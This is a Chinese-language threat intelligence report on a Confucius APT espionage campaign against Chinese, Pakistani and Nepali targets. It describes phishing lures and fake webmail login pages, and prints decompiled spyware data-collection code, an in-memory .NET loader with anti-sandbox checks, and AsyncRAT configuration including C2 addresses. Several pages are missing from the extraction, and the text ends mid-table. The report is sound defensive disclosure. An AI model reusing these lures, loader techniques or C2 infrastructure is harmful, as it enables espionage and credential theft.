[comment]:<> (===START_PAGE 1===) {0}------------------------------------------------ ![A soldier in a camouflage ghillie suit lying prone on the ground, aiming a rifle with a scope.The image is in a sepia tone.](2dfa6ac3edfe874f68aa0cbccaa42322_img.jpg) A soldier in a camouflage ghillie suit lying prone on the ground, aiming a rifle with a scope.The image is in a sepia tone. # APT 提菩行动：来自南亚APT组织 “魔罗杪”的报复性定向攻击 {1}------------------------------------------------ # 目录 | | | |------------------------------------------|-----------| | 概述..... | 3 | | 多种攻击手法..... | 3 | | 攻击行动特点..... | 3 | | 邮件结合钓鱼网站定向攻击..... | 4 | | 邮件木马附件定向攻击..... | 9 | | 安卓 APK 攻击..... | 9 | | 疑似“商贸信”攻击..... | 10 | | 诱饵分析..... | 11 | | 攻击活动总结..... | 13 | | 样本分析..... | 15 | | SFX 样本分析..... | 15 | | 宏样本分析..... | 22 | | RTF 恶意文档分析..... | 24 | | 模板注入攻击文件分析..... | 25 | | Dephi 注入器..... | 32 | | 溯源与关联..... | 37 | | 与“魔罗砂”APT 组织（Confucius）的关联..... | 37 | | 总结..... | 43 | | IOCs..... | 43 | | 附录 1 奇安信威胁情报中心..... | 46 | | 附录 2 红雨滴团队（RedDrip Team）.....| 47 | {2}------------------------------------------------ ## 概述奇安信威胁情报中心红雨滴安全研究团队多年来持续对南亚次大陆方向的攻击活动进行追踪。我们对曼灵花、摩诃草、响尾蛇等相关组织均做过大量的分析和总结。上述组织长期针对中国、巴基斯坦、尼泊尔等国和地区进行了长达数年的网络间谍攻击活动，主要攻击领域为政府机构、军工企业、核能行业、商贸会议、通信运营商等。而近些年来，随着南亚边境冲突加剧，越来越多攻击组织借助中印关系为主题，针对中国关键基础设施部门发起网络攻击活动，我们长期追踪分析的“魔罗杪”APT 团伙便是其中之一（国外安全厂商命名的 Confucius）。该组织自 2013 年起便持续活跃，奇安信内部对该团伙命名为“魔罗杪”。而由于近年来该组织对其内部攻击项目的命名：Project tibbar，故我们将该组织近期的攻击活动命名为：提菩。 ## 多种攻击手法在提菩攻击活动中，攻击团伙使用了多种攻击手法：邮件结合钓鱼网站，邮件结合木马附件，单一投放木马，恶意安卓 APK 投放等等。其中值得注意的是，攻击团伙除了使用自定义的特种木马外，疑似还使用了一些商业，开源木马。在分析攻击载荷过程中，红雨滴发现该团伙不仅使用了高敏感性的、诱惑性的恶意文档名称，还发现该组织疑似使用了类似“商贸信”的攻击手法。这一点与以往传统的 APT 组织不太一致，这或许是该组织隐蔽自身攻击活动的方式，从而加大分析人员溯源的难度。奇安信威胁情报中心对整个活动进行了剖析，将报告呈现于此。截至本报告发布(2020.09)，攻击活动仍在持续进行中，报告末尾将公开详细技术分析和 IOC 指标，以供参考。 ## 攻击行动特点 ### --- 提菩行动特点： 1.对攻击目标异常了解 - {3}------------------------------------------------ ### --- 2.根据目标单位进行定制化华语类网络攻击活动 ### 3.疑似使用“商贸信”活动混淆视听 --- 本次报告披露的攻击类型分为四种类型：邮件结合钓鱼网站定向攻击、邮件木马附件定向攻击、安卓 APK 攻击以及疑似得商贸信活动。 ### 邮件结合钓鱼网站定向攻击 Tibber 活动早期攻击手法与南亚另一 APT 组织蔓灵花及其相似，均采用了“”邮件安全警告”为诱饵，诱导受害者访问钓鱼网站从而窃取其账户密码相关信息。如下：你好 XXX 请在24小时内确认您的邮件账户，以使用不间断的邮件服务。如果未确认，则您的邮件服务可能会中断或账户可能被阻止以供进一步使用。 [确认您的账户](#) 如果已确认，请忽略。邮件系统管理员：xxxxx@攻击目标单位邮箱 POP-SSL/SMTP-SSL:攻击目标单位邮箱域名而近期该组织开始转变其攻击手法，采用 html 代码进行附件伪造，当受害者尝试点击附件时，会被重定向到攻击者精心伪造的钓鱼网站。其中转发邮件信息部分为攻击者自行添加，主要目的是使得邮件具备真实性。 {4}------------------------------------------------ 请检查并回复本邮件来自攻击目标部门所处地点 -----转发邮件信息----- 发件人：xx 伪装成真实存在人的身份和邮箱发送日期：20XX年-XX-XX XX:XX:XX 收件人：xx 攻击目标的真实身份和邮箱附件(1) ![Microsoft Word document icon](764bb8d7c93b090e205d908e1a8cade4_img.jpg) A small icon representing a Microsoft Word document, showing a blue 'W' on a white background with horizontal lines representing text. Microsoft Word document icon [XXXX清单 XXXX.docx$120.11 KB$](#) 此外，构造一段“转发邮件信息”已经是比较常见的钓鱼邮件攻击，但是“魔罗杪”组织采用了N层转发邮件信息构造，类似下面的邮件截图，其中配合的话术类似：“这邮件很重要”、“该查看附件了”、“及时反馈!”、“收到请确认!”、“该文档需要优先处理”，等等。 {5}------------------------------------------------ 含有明显的复制粘贴中文痕迹 ![Downward arrow icon](afe5eb459b7c9cfe880b067777d876d8_img.jpg) Downward arrow icon 您是否已收到20XX年半年度X国统计报告并将其转发给前台以进行及时处理？收到后请确认。祝好运。 XXX 在 20XX-XX-XX XX:XX:XX, "xxx" <[XXX@XXX.com](mailto:XXX@XXX.com)> 写道：随附20XX年半年度X国统计报告。请下载文档并按照说明进行处理。请收到后回复。祝好。 XXA -----原始邮件----- 发件人:"XXB" <[XXB@XXX.cn](mailto:XXB@XXX.cn)> 发送时间:20XX-XX-XX XX:XX:XX (星期X) 收件人:"xxx" <[XXX@XXX.cn](mailto:XXX@XXX.cn)>, "xxx" <[XXX@XXX.com](mailto:XXX@XXX.com)> 抄送: 主题:Fw:20XX年XX业半年XX统计XX 女士们，先生们，请与每个主题的具体负责人联系，并尽快执行声明。祝好。 -----原始邮件----- 发件人:"XXB" <[XXB@XXX.cn](mailto:XXB@XXX.cn)> 发送时间:20XX-XX-XX XX:XX:XX (星期X) 收件人:"xxx" <[XXX@XXX.cn](mailto:XXX@XXX.cn)>, "xxx" <[XXX@XXX.com](mailto:XXX@XXX.com)> 抄送: 主题:Fw:20XX年XX业半年XX统计XX 各位：详见附件。祝好！ XX 20XX年XX月XX日 Attachments (1 item) ![Attachment icon (red square with X)](f119fbd13e4c978a1efc5c80e768103a_img.jpg) Attachment icon (red square with X) xxxxxxxxxx.xlsx (113.62 K) [Download](#) [Preview](#) ![Upward arrow icon](0dbfd0a73ef874d2480a0791d28a2ab0_img.jpg) Upward arrow icon 点击此处超链接至钓鱼网站 {6}------------------------------------------------ 还有一系列的攻击中，“魔罗秒”组织还故意使用红色警示语，营造一种很紧急的氛围，让攻击目标去点击钓鱼链接。 #### 请尽快做必要的事情!!! -----原始邮件----- 发件人:"XXB" 发送时间:20XX-XX-XX XX:XX:XX (星期五) 收件人:"XXX" , "XXX" 抄送: 主题:Fw: #### 需要作出紧急反应!!! 攻击者采用的钓鱼网站策略也极具特色，当受害者点击上图链接后，会跳转到伪装成 163 的邮箱文件中转站。 ![Screenshot of a 163.com email interface showing a security warning about an unsupported browser and a link to download a PDF file.](8a58f9778d09be5d0a0ae25e5393a583_img.jpg) The screenshot shows a 163.com email interface.At the top, the logo '163 网易免费邮' is visible, along with the text '你好, [redacted] 163.com [退出]' and links for '问题反馈 | 帮助 | English'.The main content area is a warning message:'不支持的浏览器:[icon] [redacted] 您的浏览器老旧, 不支持打开此文件。' Below this is a button '请点击此处打开该文件'.A note below the button states:'注:如果此资源包含不符合国家法律的相关内容或信息, 请点击进行举报'.To the right, a section titled '下载邮箱大师, 即可免费享受:' lists four benefits:1.新邮件实时提醒, 支持随时随地免费收发; 2.支持手机超大附件转发无需下载, 方便又省流量; 3.签至邮箱大师云附件免费升级到15G, 还有更多好礼; 4.邮箱大师其他各种福利机会.Below the list are two links:'马上签约' and '了解更多'. Screenshot of a 163.com email interface showing a security warning about an unsupported browser and a link to download a PDF file. 点击打开文件按钮后，会加载一份 PDF 文件，当文件加载完毕，并在显示出文件的部分内容后会马上跳转，而不给用户下载的机会，并要求用户登陆才可以下载 **163** 网易免费邮 mail.163.com 出于安全原因，您的会话已过期。请登录以访问文件。 {7}------------------------------------------------ 重定向至攻击者伪造的登陆界面，需要注意的是，攻击者在该页面采取了一些小心思，受害者第一次输入密码并登陆无论如何都会显示密码错误，只有受害者第二次输入密码再点击登陆才会成功跳转到 PDF 文件下载的地方。这可能是攻击者为了防止攻击目标故意输错密码，测试是否为钓鱼网站，而设置的陷阱。 ![A screenshot of a phishing website模仿网易163邮箱登录界面。左侧是智能衣物消毒烘干机的广告，右侧是登录表单。登录表单包含用户名、密码输入框，以及登录和注册按钮。页面上方有网易163邮箱的导航链接。](892f25e3d71d8e315a2a51092a8a8da7_img.jpg) A screenshot of a phishing website模仿网易163邮箱登录界面。左侧是智能衣物消毒烘干机的广告，右侧是登录表单。登录表单包含用户名、密码输入框，以及登录和注册按钮。页面上方有网易163邮箱的导航链接。除了伪造 163 邮箱的钓鱼网站外，“魔罗杪”组织还会使用政府网站的邮箱系统作为伪造页面，几乎其所有攻击目标，该组织均构造了一个钓鱼网站，其中邮箱系统的页面源码均为复制自原网站。上述均为在邮件里面加入超链接表单的攻击，除了直接跳转到钓鱼网站，“魔罗杪”组织还采用了 URL 跳转的方式进行攻击，其中涉及 Google 等等。格式如下最后，“魔罗杪”组织中文水平也许并不是非常强，经常出现中文语法错误的句子。但是，该组织对于中国的国情、舆情、国防军工资产等等了解的非常透彻，并且很擅长社会工程学，经常会在邮件里进行回复，从而诱导目标去打开链接或附件。 {8}------------------------------------------------ 例如：“上班之前请打开附件，然后我会发给某先生”，而这个某先生正好是这个攻击目标的上级，这需要一个非常有经验的信息收集和分析团队同步进行才可能达成这个定向性的攻击活动。 ### 邮件木马附件定向攻击使用带有附件的钓鱼邮件攻击方式由 2020 年开始使用，与以往南亚次大陆方向的组织攻击模式类似，而该活动中，主要特点在于该组织使用了 avast 杀毒软件加入邮件中，显得附件已经接受过杀软查杀为安全，让目标放松警惕，下放同样结合了钓鱼网址攻击的手法：转发邮件信息。真实附件 ![Icon of a stack of colorful folders representing attachments.](a86610f7a0e579fec9f34dea52fa088b_img.jpg) Icon of a stack of colorful folders representing attachments. XXX requirement... 58 KB ![Avast logo, an orange 'a' inside a shield shape.](3e513f3d2635342934cf8ad226cfa879_img.jpg) Avast logo, an orange 'a' inside a shield shape. Virus-free [www.avast.com](http://www.avast.com) -----转发邮件信息----- 发件人： XX 伪装成真实存在人的身份和邮箱发送日期： 20XX年-XX-XX XX:XX:XX 收件人：XX 攻击目标的真实身份和邮箱伪装名称单位名称单位地址 ### 安卓 APK 攻击与南亚其他 APT 团伙类似的是，Tibber 行动攻击组织也擅长双平台攻击，在溯源关联过程中，红雨滴捕获了两例疑似针对巴基斯坦的攻击样本，样本以巴基斯坦铁路相关为应用 {9}------------------------------------------------ 名称进行伪装，相关信息如下。 | 应用名称 | MD5 | ITW | |------------------|----------------------------------|-------------------------------------------| | Government | 005e8de2974db8722073fa54e8b8d435 | http://185.214.10.220/1/officers_list.apk | | Officers.apk | | | | Pak Railways.apk | e91e10978ace80a789363288f1ee178a | | 经分析发现此类样本为开源安卓木马 `spynote` 改写而来。 ``` } try { v3.append("Sim Operator Name:" + this.a.getSystemService("phone").getSimOperatorName() + "\n"); } catch(Exception v0) { } try { v3.append("Line Number:" + this.a.getSystemService("phone").getLineNumber() + "\n"); } catch(Exception v0) { } try { v3.append("Sim CountryIso:" + this.a.getSystemService("phone").getSimCountryIso() + "\n"); } catch(Exception v0) { } try { v0_3 = this.a.getSystemService("phone"); v4 = ((TelephonyManager)v0_3).getSimOperator(); if(!null.equals(v4)) { goto label_309; } celllocation_v0_2 = ((TelephonyManager)v0_3).getCellLocation(); v3.append("MCC - Mobile Country Code:" + v4.substring(0, 3) + "\n"); v3.append("MNC - Mobile Network Code:" + v4.substring(3) + "\n"); v3.append("CID - Cell ID:" + Integer.toString((Integer)celllocation_v0_2.getCID()) + "\n"); v3.append("LAC - Location Area Code:" + Integer.toString((Integer)celllocation_v0_2.getLAC()) + "\n"); } catch(Exception v0) { } label_309: v3.append("\n-----[WiFi Info]-----\n"); try { ifnull(v0_3 = this.a.getApplicationContext().getSystemService("wifi").getConnectionInfo()); v4 = v0_3.getMacAddress(); String v5 = v0_3.getSSID(); v6 = v0_3.getLinkSpeed(); v7 = ifnull(v0_3.getSignalLevel(v6.getBitRate(), 5)); v3.append("MacAddress:" + v4 + "\n"); v3.append("SSID:" + v5 + "\n"); v3.append("Link Speed:" + v6 + "\n"); v3.append("Sig:" + v7 + "\n"); } catch(Exception v0) { } v3.append("\n-----[Battery Info]-----\n"); try { ifnull(v0_5 = this.a.registerReceiver(null, new IntentFilter("android.intent.action.BATTERY_CHANGED"))); v3.append("Battery Level:" + String.valueOf(v0_5.getIntExtra("level", 0) * 100/v0_5.getIntExtra("scale", 100)) + "%\n"); } catch(Exception v0) { } ``` ### 疑似“商贸信”攻击在分析过程中，红雨滴研究人员基于钓鱼域名捕获了一些疑似该组织利用“商贸信”手法传播商业，开源木马的攻击样本，相关信息如下： | 文件名 | MD5 | |----------------------------------------------|-------------------------------| | Programmable%20Logic%20Control%20(PLC)%20Sys | f66d98a61c5b00423da7c7adf028 | | tem.zip | cd0a | | MOM 中讨论的项目更新进度.rar | 25ed7244f6cc13de912038156184 | | | a420 | | | ca06302c2e1b12cd69dfdc2c1a95f | {10}------------------------------------------------ | | | |---------------------------------------------------------------------------------------------------|--------------------------------------| | | 6b64 | | | 29b076fbadd032059335a6156e
7801f | | OJOINT INSPECTION OF INSULATION MATERIAL
57th BATCH OF KoM - 15HT-2 (SB-278).rar | 3e84bf8e1f9b469c3fcc24281a1f6
5dc | 此类样本都是基于黑市上贩卖的注入器和开源的远控结合而成,给我们的溯源过程造成了巨大的困难。 ## 诱饵分析从 2018 年至今的攻击，我们将攻击中涉及到的诱饵，伪造的正常程序的名称以及诱惑性词汇进行了筛选（其中有涉及印度相关词汇的诱饵名称）。 | | |-----------------------------------------------------| | India's 5th Gen Fighter Jet Report.exe | | Adviser Senior Director eysd.docx | | Revised Programmable Logic Control (PLC) System.exe | | Policy_update.exe | | Crashreporter.exe | | Officers_List.apk | | PakRail.apk | | Programmable Logic Control (PLC) System.zip | | KB-Auto-win-update.exe | | Notepad.NET.exe | | 010Editor.exe | | vs_community.exe | 通过关键词数量统计后的词云图如下： {11}------------------------------------------------ ![](d5a837fa4f4675e5ee596003cf55985c_img.jpg) {12}------------------------------------------------ ## 攻击活动总结从提菩行动的攻击目标侧进行分析，可以发现目标集中在中国、巴基斯坦、尼泊尔三个国家。 ![A map of South and Central Asia showing the geographical distribution of attack targets.Three red circles highlight specific countries:Pakistan (巴基斯坦) in the west, Nepal (尼泊尔) in the center, and China (中国) in the northeast.The map also shows neighboring countries like Afghanistan (阿富汗), Tajikistan (塔吉克斯坦), Kyrgyzstan (吉尔吉斯斯坦), India (印度), and Bangladesh (孟加拉国).](bb6d33498937738ff5dac8d91c9ebaad_img.jpg) A map of South and Central Asia showing the geographical distribution of attack targets.Three red circles highlight specific countries:Pakistan (巴基斯坦) in the west, Nepal (尼泊尔) in the center, and China (中国) in the northeast.The map also shows neighboring countries like Afghanistan (阿富汗), Tajikistan (塔吉克斯坦), Kyrgyzstan (吉尔吉斯斯坦), India (印度), and Bangladesh (孟加拉国). 其中，攻击行业为：航空航天技术部门、船舶工业、核工业(含核电)、商务外贸、国防军工、政府机关(含外交)、科技公司等。从总体攻击目标，再结合诱饵分析一章提到的零零散散的目标，不难看出提菩行动的主要战略目的：窃取特定国家的核心国防军工技术。而从战术层面，从 2018-2019 年的通过钓鱼网站进行信息收集，再到 2020 年开始进行具体有针对性的木马攻击，都可以看出，攻击强度正在上升，也意味着攻击组织弹药准备充足，这从他们对多个开源木马进行研究，并自行修改便可看出这点。当然还有一个很重要的一点事，有针对性的攻击，在辅佐表面看上去无针对性，但实际上是存在针对行为的”商贸信”攻击，反而可以让攻击事半功倍，让攻击目标放松警惕。在附录中，我们除了将整个攻击过程进行了分析，并且还给出了提菩行动与“魔罗杪” APT 组织（Confucius APT）的关联分析结果，而其中比较重要的关联证据在于：该攻击组织会复用旧的邮箱资产用于攻击，而 2018-2020 年的攻击持续使用邮件+钓鱼网站的形势攻击，2020 年的攻击使用了木马附件攻击，基于此将行动与“魔罗杪” APT 组织关联。见下图： {13}------------------------------------------------ ![A flowchart illustrating a phishing attack process.It starts with a '邮箱地址A' (Email Address A) and a '2018-2020年' (2018-2020) timeline.A '伪造网易邮箱或目标单位的钓鱼网站' (Fake NetEase email or target organization phishing website) is shown.The process involves a '确认身份' (Verify identity) step, leading to a '2020年' (2020) timeline.A '项目文件' (Project file) is sent, containing a 'ZIP' file and an 'EXE' file.The 'EXE' file is associated with 'Project1 tibbar' and '编译时间关联' (Compilation time correlation).The final step is '归属' (Attribution) to the 'Confucius APT组织' (Confucius APT organization).](4801720824e4b5e2361a5564f91cfb70_img.jpg) 邮箱地址A 2018-2020年你好 XXX 请在24小时内确认您的邮箱账户，以便使用相关邮件服务。如果未确认，您的邮箱服务可能会停止，请确认账户以便进一步使用。确认您的账户如果已确认，请忽略。邮件系统管理员:xxxxx@伪造目标单位邮箱 POP3:1234/SMTP:1234/伪造目标单位邮箱地址伪造网易邮箱或目标单位的钓鱼网站 2020年项目文件 XXX requirements... 58 KB View-From www.east.com ----- 发送附件结束 ----- 发送人:XXX (伪造或真实存在人的身份发送邮件) 发送日期:2020年-02-22 22:13:13 接收人:XXX (以目标单位邮箱身份接收邮件) ZIP XLS EXE Project1 tibbar 编译时间关联 EXE 归属 Confucius APT组织 A flowchart illustrating a phishing attack process.It starts with a '邮箱地址A' (Email Address A) and a '2018-2020年' (2018-2020) timeline.A '伪造网易邮箱或目标单位的钓鱼网站' (Fake NetEase email or target organization phishing website) is shown.The process involves a '确认身份' (Verify identity) step, leading to a '2020年' (2020) timeline.A '项目文件' (Project file) is sent, containing a 'ZIP' file and an 'EXE' file.The 'EXE' file is associated with 'Project1 tibbar' and '编译时间关联' (Compilation time correlation).The final step is '归属' (Attribution) to the 'Confucius APT组织' (Confucius APT organization). 最后值得一提的是，在钓鱼网站活动中，存在两个域名，域名为 jspsessionindex.com 和 owaauthlogon.com，然而，两个域名解析的 IDC 服务器 IP 192.99.34.204，也被域名 info.viewworld71.com 解析，其中有一个蔓灵花的特种木马 Winlogs.exe(1ec463b985b7d45937eacfdcf4c11729)会回连此 C2 域名。此外，提菩行动中，钓鱼邮件攻击的战法也和蔓灵花的攻击战法非常相似。但由于我们着眼于发件邮箱强关联，因此仅认为这是蔓灵花组织和“魔罗杪”APT 组织（Confucius APT）在基于 IP 的网络资产重叠，并不能将其作为钓鱼网站即为蔓灵花组织所使用的直接证据。而在此前我们就已经对南亚次大陆的几个组织进行过资产重叠的研究，发现这几个组织均存在网络重叠，也许几个攻击小组之间存在合作关系。 {14}------------------------------------------------ ![A complex network graph visualization showing nodes and edges.Four nodes are highlighted with blue labels:'Urpage' on the left, 'Confucius' at the top center, '摩诃草' on the right, and '蔓灵花' at the bottom center.The graph consists of numerous smaller nodes connected by a dense web of lines, representing relationships or data flow between them.](33ed1f9b27c7c21c797aa928b0f06851_img.jpg) A complex network graph visualization showing nodes and edges.Four nodes are highlighted with blue labels:'Urpage' on the left, 'Confucius' at the top center, '摩诃草' on the right, and '蔓灵花' at the bottom center.The graph consists of numerous smaller nodes connected by a dense web of lines, representing relationships or data flow between them. ## 样本分析 ### SFX 样本分析 | 文件名 | MD5 | 类型 | |----------------------------------------|----------------------------------|-----| | India's 5th Gen Fighter Jet Report.exe | 878ad290280bb9e880c1366e8c386e1a | SFX | 样本解压后的内容如下： | 名称 | 大小 | 压缩前大小 | 修改时间 | |-------------|---------|---------|------------------| | file.pdf | 339 502 | 327 401 | 2020-07-31 12:26 | | updt.exe | 20 480 | 4 435 | 2020-07-31 15:12 | | WINWORD.exe | 249 344 | 197 359 | 2020-08-04 13:38 | | | | |------|--------------------------------------------------------------------------------------------| | 固实 | - | | 字块 | 3 | | 加密 | - | | 参数压缩 | - | | 分卷 | 1 | | 注释 |:The comment below contains SFX script commands Path=\\USERPROFILE\\Desktop Setup= array2.Length) 605 { 606 num = 11; 607 continue; 608 } 609 type = array2[num3]; 610 goto IL_90; 611 IL_14A:612 num2 = (Data.Length - 1) * 12; 613 num = 0; 614 } 615 IL_C6:616 IL_14:617 result = (Type)Crashreporter.YmUcKKjgn2IvM48loeY(type.GetMethod("P", null, null)); 618 num = 3; 619 if (!false) 620 { 621 goto IL_64; 622 } 623 IL_39:624 num3 = 0; 625 num = 1; 626 goto IL_64; 627 } ``` 内存加载的 PE 名为 Pj.dll 是该组织特有的 loader 程序, 我们该 loader 命名为 Polyloader ![Screenshot of a file explorer showing the contents of Pj.dll.The file is a PE file with the following structure:PE, Type Reference, Import Reference, Resource, and a section containing @02000001, Anti@02000003, FindOSInfo@02000002, P@02000004,\u0002, and SmartAssembly.Attributes.](8935d7297fc189503125ecbbd7c41f27_img.jpg) The image shows a file explorer window titled 'Pj (0.0.0.0)'.The file 'Pj.dll' is selected, and its contents are listed as follows: - PE - 类型引用 - 引用 - 资源 - { } - - @02000001 - Anti@02000003 - FindOSInfo@02000002 - P@02000004 - { }\u0002 - { } SmartAssembly.Attributes Screenshot of a file explorer showing the contents of Pj.dll.The file is a PE file with the following structure:PE, Type Reference, Import Reference, Resource, and a section containing @02000001, Anti@02000003, FindOSInfo@02000002, P@02000004,\u0002, and SmartAssembly.Attributes. 根据配置文件决定是否反沙箱、反虚拟机 {19}------------------------------------------------ ``` public static void PD { string[] array = System.Text.Encoding.UTF8.GetBytes("..."); if (Process.GetCurrentProcess().Id == 0) { Process[] processes = Process.GetProcesses(); for (int i = 0; i < processes.Length; i++) { if (Process.GetCurrentProcess().ProcessName == "explorer.exe") { return; } } } if (Process.GetCurrentProcess().Id == 0) { if (Process.GetCurrentProcess().ProcessName == "explorer.exe") { return; } } if (Process.GetCurrentProcess().ProcessName == "explorer.exe") { return; } if (Process.GetCurrentProcess().ProcessName == "explorer.exe") { return; } } ``` 接着通过 PolyDeCrypt 解密出另一个 PE，并调用 RunNet 函数 ``` public static void RunNet(object netobject) { object[] array; bool[] array2; object obj = NewLateBinding.LateGet(null, typeof(Assembly), "Load", array = new object[] { netobject }, null, null, array2 = new bool[] { true }); if (array2[0]) { netobject = RuntimeHelpers.GetObjectValue(array[0]); } Assembly assembly = (Assembly)obj; MethodInfo entryPoint = assembly.EntryPoint; object objectValue = RuntimeHelpers.GetObjectValue(assembly.CreateInstance(entryPoint.Name)); object[] parameters = null; if (entryPoint.GetParameters().Length > 0) { parameters = new object[] { new string[1] }; } entryPoint.Invoke(RuntimeHelpers.GetObjectValue(objectValue), parameters); } ``` 内存加载 PE，经过分析，该 PE 为开源遥控，AsyncRat ``` Settings.aes256 = new Algo(Settings.Key); Settings.Ports = Settings.aes256.Decrypt(Settings.Ports); Settings.Hosts = Settings.aes256.Decrypt(Settings.Hosts); Settings.Version = Settings.aes256.Decrypt(Settings.Version); Settings.Install = Settings.aes256.Decrypt(Settings.Install); IL_00: goto IL_04; IL_04: return Settings.liccPQzHY(); IL_07: Settings.ServerSignature = Settings.aes256.Decrypt(Settings.ServerSignature); Settings.ServerCertificate = new X509Certificate2(Convert.FromBase64String(Settings.aes256.Decrypt(Settings.Certificate))); num = 5; goto IL_04; IL_04: Settings.MTX = Settings.aes256.Decrypt(Settings.MTX); Settings.PasteBin = Settings.aes256.Decrypt(Settings.PasteBin); Settings.Anti = Settings.aes256.Decrypt(Settings.Anti); Settings.BDOS = Settings.aes256.Decrypt(Settings.BDOS); Settings.Group = Settings.aes256.Decrypt(Settings.Group); Settings.Hwid = AwiXulxIrj1DBuCe6J_16tcd0ydq1(); goto IL_07; ``` | 名称 | 值 | |-------------------|--------------------------------------| | Settings.Key | "2FhuZS03MhJGVEP0ouC1v6MVLcwT65Ic" | | Settings.aes256 | "ConsoleAsyncAlgo/0x020000037/15097" | | Settings.Ports | "45.86.162.29" | | Settings.Hosts | "false" | | Settings.Install | "false" | | Settings.MTX | "ktyrgkwawwzo" | | Settings.PasteBin | "null" | | Settings.Anti | "false" | | Settings.BDOS | "false" | | Settings.Group | "Default" | | Settings.Hwid | null | 相关 C2:45.86.162.29:15097 {20}------------------------------------------------ 0 /73 1 No interesting sightings for this IP address 45.86.162.29 (45.86.160.0/22) AS 50495 (web2objects GmbH) 2 Community Score DETECTION DETAILS RELATIONS COMMUNITY Communicating Files | Scanned | Detections | Type | Name | |------------|------------|-----------|----------------------------------------| | 2020-08-31 | 43/69 | Win32 EXE | crashreporter.exe | | 2020-08-06 | 59/72 | Win32 EXE |\ProgramData\VqYccUMM\awwcUMUo.exe | | 2020-08-12 | 36/71 | Win32 EXE | crashreporter.exe | | 2020-08-10 | 22/70 | Win32 EXE | India's 5th Gen Fighter Jet Report.exe | | 2020-08-02 | 32/71 | Win32 EXE | ConsoleAsync.exe | 配置文件中服务器端证书如下： ``` [Subject] CN=AsyncRAT Server [Issuer] CN=AsyncRAT Server [Serial Number] 00B68E6DB2BB7412FABCBAA2192394AD...false System.Security.Cryptography.X509Certificates.X509ExtensionCollection/\0x02000478/..0x0259D88 false "CN=AsyncRAT Server"\System.Security.Cryptography.X509Certificates.X500DistinguishedName/\0x0200043F/[0999/12/31 23:59:59] [2020/7/15 20:27:14] null System.Security.Cryptography.X509Certificates.PublicKey/\0x02000462/Byte[0x000004F6] "00B68E6DB2BB7412FABCBAA2192394AD" System.Security.Cryptography.Oid/\0x0200043B/"CN=AsyncRAT Server"\System.Security.Cryptography.X509Certificates.X500DistinguishedName/\0x0200043F/"1C3CBEAADDCAAAA8F3B743F4D7E8537F4C1EA597" 0x00000003 ``` SerialNumber:"00B68E6DB2BB7412FABCBAA2192394AD" Thumbprint:"1C3CBEAADDCAAAA8F3B743F4D7E8537F4C1EA597" Subject:"CN=AsyncRAT Server" 在分析过程中发现，VT 上的样本大部分为 CN 上传，结合相关信息可以断定本次活动是针对相关单位的定向攻击事件。 DETECTION DETAILS RELATIONS BEHAVIOR CONTENT SUBMISSIONS COMMUNITY 1 Submissions | Date | Name | Source | Country | |---------------------|----------------------------------------|----------------|---------| | 2020-08-10 07:17:54 | India's 5th Gen Fighter Jet Report.exe | 9c5355b7 - web | CN | {21}------------------------------------------------ ## 宏样本分析我们捕获到的恶意压缩包内容如下： ⚡ Annexure Project requirement and progress update.rar - Bandizip 7.04 (Standard) 文件(F) 编辑(E) 查找(I) 选项(O) 视图(V) 工具(T) 帮助(H) ![Screenshot of the 'Open' dialog box in a file manager.The dialog shows a file list with two items:'Annexure Project requirement and...' and 'Project progress update.xlsx'.The 'Annexure Project requirement and...' file is selected.](5f748e9d8e77de7b6a98e6039de7d0fd_img.jpg) Screenshot of the 'Open' dialog box in a file manager.The dialog shows a file list with two items:'Annexure Project requirement and...' and 'Project progress update.xlsx'.The 'Annexure Project requirement and...' file is selected. | 文件名 | MD5 | 类型 | |----------------------------------|----------------------------------|-----| | Annexure Project requirement.xls | c9d7b9e1d2eadb8657ec84ff2d20b98c | 宏文档 | | Project progress update.xlsx | 59bc5eb1d3f1affd1496dfbb61f1537e | 宏文档 | 文档内容如下，通过错误数据的形式诱导用户启用宏 | | | | | | | | | | | | |------------|------|--------|---------------------------------------------------------|---------|---------|---------------------------|-----|-------------|--------|---------| | 安全警告宏已被禁用。 | | 启用内容 | | | | | | | | | | N10 | | | | | | | | | | | | A | B | C | D | E | F | G | H | I | J | | | 1 | S/NO | NSN | PART NO | DEC | QTY | U/PRICE AFTER 7% DISCOUNT | | T/PRICE USD | REQ NO | REMARKS | | 2 | ???? | #NAME? | #ERROR? | #ERROR? | #ERROR? | #ERROR? | ### | # | #NAME? | | | 3 | ???? | #NAME? | ERROR LOADING DATA!!! | | | | ### | # | #NAME? | | | 4 | ???? | #NAME? | Data not fetched.Please click on enable content button | | | | ### | # | #NAME? | | | 5 | ???? | #NAME? | above to load data. | | | | ### | # | #NAME? | | | 6 | ???? | #NAME? | #ERROR? | #ERROR? | #ERROR? | #ERROR? | ### | # | #NAME? | | | 7 | ???? | #NAME? | #ERROR? | #ERROR? | #ERROR? | #ERROR? | ### | # | #NAME? | | | 8 | ???? | #NAME? | #ERROR? | #ERROR? | #ERROR? | #ERROR? | ### | # | #NAME? | | | 9 | ???? | #NAME? | #ERROR? | #ERROR? | #ERROR? | #ERROR? | ### | # | #NAME? | | | 10 | ???? | #NAME? | #ERROR? | #ERROR? | #ERROR? | #ERROR? | ### | # | #NAME? | | | 11 | ???? | #NAME? | #ERROR? | #ERROR? | #ERROR? | #ERROR? | ### | # | #NAME? | | | 12 | ???? | #NAME? | #ERROR? | #ERROR? | #ERROR? | #ERROR? | ### | # | #NAME? | | | 13 | ???? | #NAME? | #ERROR? | #ERROR? | #ERROR? | #ERROR? | ### | # | #NAME? | | | 14 | ???? | #NAME? | #ERROR? | #ERROR? | #ERROR? | #ERROR? | ### | # | #NAME? | | | 15 | ???? | #NAME? | #ERROR? | #ERROR? | #ERROR? | #ERROR? | ### | # | #NAME? | | | 16 | ???? | #NAME? | #ERROR? | #ERROR? | #ERROR? | #ERROR? | ### | # | #NAME? | | | 17 | ???? | #NAME? | #ERROR? | #ERROR? | #ERROR? | #ERROR? | ### | # | #NAME? | | | 18 | ???? | #NAME? | #ERROR? | #ERROR? | #ERROR? | #ERROR? | ### | # | #NAME? | | | 19 | ???? | #NAME? | #ERROR? | #ERROR? | #ERROR? | #ERROR? | ### | # | #NAME? | | | 20 | ???? | #NAME? | #ERROR? | #ERROR? | #ERROR? | #ERROR? | ### | # | #NAME? | | | 21 | ???? | #NAME? | #ERROR? | #ERROR? | #ERROR? | #ERROR? | ### | # | #NAME? | | | 22 | ???? | #NAME? | #ERROR? | #ERROR? | #ERROR? | #ERROR? | ### | # | #NAME? | | | 23 | ???? | #NAME? | #ERROR? | #ERROR? | #ERROR? | #ERROR? | ### | # | #NAME? | | | 24 | ???? | #NAME? | #ERROR? | #ERROR? | #ERROR? | 